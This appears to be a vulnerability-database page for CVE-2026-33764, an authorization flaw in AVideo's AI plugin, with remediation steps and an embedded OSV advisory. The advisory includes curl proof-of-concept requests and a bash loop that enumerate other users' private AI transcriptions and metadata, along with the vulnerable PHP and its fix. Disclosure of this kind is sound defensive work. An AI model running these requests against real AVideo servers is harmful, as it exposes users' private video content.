CVE-2026-33764: AVideo IDOR Vulnerability
MODERATECVE-2026-33764 is a MODERATE (CVSS 4.3) idor vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting AVideo libraries in the Packagist ecosystem. The issue involves idor in ai plugin allows stealing other users' ai-generated metadata and transcriptions. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33764 at a Glance
Security Impact
CVSS: 4.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-33764
To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33764, inspect your project dependencies for AVideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33764 Affected AVideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33764?
Which AVideo versions are affected?
What version fixes CVE-2026-33764?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33764?
What CWE is associated with CVE-2026-33764?
How can I check Packagist dependencies for CVE-2026-33764?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g39v-qrj6-jxrh",
"modified" : "2026-03-27T21:38:32Z",
"published" : "2026-03-26T18:08:12Z",
"aliases" : [ "CVE-2026-33764" ],
"summary" : "AVideo: IDOR in AI Plugin Allows Stealing Other Users' AI-Generated Metadata and Transcriptions",
"details" : "## Summary\n\nThe AI plugin's `save.json.php` endpoint loads AI response objects using an attacker-controlled `$_REQUEST['id']` parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID — including those generated for other users' private videos — and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.\n\n## Details\n\nIn `plugin/AI/save.json.php`, the authorization flow checks that the user can edit the *target video* (`Video::canEdit($videos_id)` at line 23), but loads the AI response object from a completely separate, user-controlled parameter:\n\n**Line 29 — metatags path (no ownership check):**\n```php\nif(!empty($_REQUEST['ai_metatags_responses_id'])){\n $ai = new Ai_metatags_responses($_REQUEST['id']); // Loads ANY response by ID\n \n if (empty($ai->getcompletion_tokens())) {\n forbiddenPage('AI Response not found');\n }\n}\n```\n\n**Line 146 — transcription path (no ownership check):**\n```php\ncase 'text':\n if(!empty($_REQUEST['ai_transcribe_responses_id'])){\n $ait = new Ai_transcribe_responses($_REQUEST['id']); // Loads ANY response by ID\n $value = $ait->getVtt();\n```\n\nThe `ObjectYPT` base class constructor performs a simple database lookup with no authorization:\n```php\npublic function __construct($id = \"\", $refreshCache = false) {\n if (!empty($id)) {\n $this->load($id, $refreshCache); // SELECT * WHERE id = ? — no permission check\n }\n}\n```\n\nThe loaded data is then applied to the attacker's video — titles via `$video->setTitle()` (line 49-51), descriptions via `$video->setDescription()` (lines 91-92, 100-101), and transcriptions via `file_put_contents()` (line 156).\n\nIn contrast, `plugin/AI/delete.json.php` correctly validates ownership by traversing to the parent `Ai_responses` record:\n\n```php\n// delete.json.php lines 42-44 — CORRECT ownership check\n$ai = new Ai_responses($aitr->getAi_responses_id());\nif ($ai->getVideos_id() == $videos_id) {\n $obj->ai_transcribe_responses_id = $aitr->delete();\n```\n\nThis proves the developers intended ownership validation but omitted it in the save endpoint.\n\n## PoC\n\n**Prerequisites:** Two user accounts (attacker and victim), both with `canUseAI` permission. The victim has generated AI metadata or transcription for a private video.\n\n**Step 1: Attacker enumerates AI response IDs to steal metadata**\n\nAI response IDs are sequential integers. The attacker supplies their own `videos_id` (which they can edit) but references a victim's AI response `id`:\n\n```bash\n# Attacker owns video ID 5, victim's AI metatags response is ID 42\ncurl -b \"attacker_cookies\" \\\n \"https://target.example/plugin/AI/save.json.php\" \\\n -d \"videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0\"\n```\n\n**Expected result:** The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title.\n\n**Step 2: Attacker steals full transcription (higher impact)**\n\n```bash\n# Victim's AI transcription response is ID 17\ncurl -b \"attacker_cookies\" \\\n \"https://target.example/plugin/AI/save.json.php\" \\\n -d \"videos_id=5&ai_transcribe_responses_id=1&id=17&label=text\"\n```\n\n**Expected result:** The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video.\n\n**Step 3: Enumerate all responses**\n\n```bash\n# Iterate through sequential IDs to harvest all AI responses\nfor id in $(seq 1 100); do\n curl -s -b \"attacker_cookies\" \\\n \"https://target.example/plugin/AI/save.json.php\" \\\n -d \"videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0\"\ndone\n```\n\n## Impact\n\n- **Confidentiality breach of private video content:** An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself.\n- **Metadata exfiltration:** AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video.\n- **Trivial enumeration:** AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.\n- **Low barrier:** Any user with `canUseAI` permission who owns at least one video can exploit this. No admin access required.\n\n## Recommended Fix\n\nAdd ownership validation in `save.json.php` matching what `delete.json.php` already does. Load the parent `Ai_responses` record and verify `getVideos_id()` matches the provided `$videos_id`:\n\n```php\n// For metatags (after line 29):\nif(!empty($_REQUEST['ai_metatags_responses_id'])){\n $ai = new Ai_metatags_responses($_REQUEST['id']);\n \n if (empty($ai->getcompletion_tokens())) {\n forbiddenPage('AI Response not found');\n }\n \n // ADD: Ownership validation\n $aiParent = new Ai_responses($ai->getAi_responses_id());\n if ($aiParent->getVideos_id() != $videos_id) {\n forbiddenPage('AI Response does not belong to this video');\n }\n}\n\n// For transcriptions (at line 146, inside case 'text'):\n$ait = new Ai_transcribe_responses($_REQUEST['id']);\n\n// ADD: Ownership validation\n$aitParent = new Ai_responses($ait->getAi_responses_id());\nif ($aitParent->getVideos_id() != $videos_id) {\n forbiddenPage('AI Response does not belong to this video');\n}\n\n$value = $ait->getVtt();\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-g39v-qrj6-jxrh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33764"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/aa2c46a806960a0006105df47765913394eec142"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-26T18:08:12Z",
"nvd_published_at" : "2026-03-27T15:16:58Z"
}
}